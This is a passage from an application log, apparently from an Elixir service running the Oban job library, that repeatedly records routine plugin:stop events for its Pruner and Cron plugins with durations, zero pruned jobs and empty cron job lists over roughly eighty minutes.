{"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:35.929 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.867 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:05.931 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:35.933 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.868 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:05.935 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:35.937 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.869 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:05.939 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:35.941 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.870 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:05.943 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:35.945 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.871 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:05.947 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:35.949 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.872 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:05.951 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:35.953 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.873 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:05.955 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:35.957 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.874 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:05.959 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:35.961 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.875 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:05.963 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:35.965 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.876 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:05.967 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:35.969 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.877 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:05.971 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:35.973 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.878 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:05.975 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:35.977 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.879 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:05.979 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:35.981 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.880 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:05.983 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:35.985 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.881 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:05.987 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:35.989 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.882 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:05.991 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:35.993 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.883 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:05.995 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:35.997 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.884 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:05.999 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:36.001 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.885 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:06.003 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:36.005 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.886 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:06.007 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:36.009 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.887 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:06.011 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:36.013 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.888 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:06.015 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:36.017 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.889 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:06.019 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:36.021 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.890 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:06.023 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:36.025 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.891 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:06.027 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:36.029 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.892 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:06.031 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:36.033 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.893 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:06.035 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:36.037 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.894 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:06.039 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:36.041 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.895 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:06.043 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:36.045 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.896 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:06.047 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:36.049 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.897 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:06.051 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:36.053 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.898 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:06.055 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:36.057 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.899 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:06.059 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:36.061 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.900 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:06.063 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:36.065 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.901 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:06.067 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:36.069 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.902 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:06.072 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:36.074 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.903 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:06.076 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:36.078 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.904 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:06.080 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:36.082 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.905 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:06.084 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:36.086 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.906 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:06.088 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:36.090 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.907 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:06.092 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:36.094 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.908 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:06.096 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:36.098 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.909 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:06.100 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:36.102 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.910 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:06.104 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:36.106 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.911 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:06.108 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:36.110 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.912 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:06.112 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:36.114 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.913 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:06.116 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:36.118 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.914 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:06.120 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:36.122 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.915 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:06.124 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:36.126 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.916 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:06.128 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:36.131 [info] {"source":"oban","duration":2243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.917 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:06.133 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:36.135 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.918 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:06.137 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:36.139 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.919 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:06.141 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:36.143 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.920 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:06.145 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:36.147 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.921 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:06.149 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:36.151 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.922 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:06.153 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:36.155 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.923 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:06.157 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:36.159 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.924 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:06.160 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:36.163 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.925 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:06.165 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:36.167 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.926 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:06.169 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:36.171 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.927 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:06.173 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:36.175 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.928 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:06.177 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:36.179 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.929 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:06.181 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:36.183 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.930 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:06.185 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:36.187 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.931 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:06.189 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:36.191 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.932 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:06.193 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:36.195 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.933 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:06.197 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:36.199 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.934 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:06.201 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:36.203 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.935 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:06.205 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:36.207 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.936 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:06.209 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:36.211 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.937 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:06.213 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:36.215 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.938 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:06.217 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:36.219 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.939 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:06.220 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:36.222 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.940 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:06.224 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:36.226 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.941 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:06.228 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:36.230 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.942 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:06.232 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:36.234 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.943 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:06.236 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:36.238 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.944 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:06.241 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:36.243 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.945 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:06.245 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:36.247 [info] 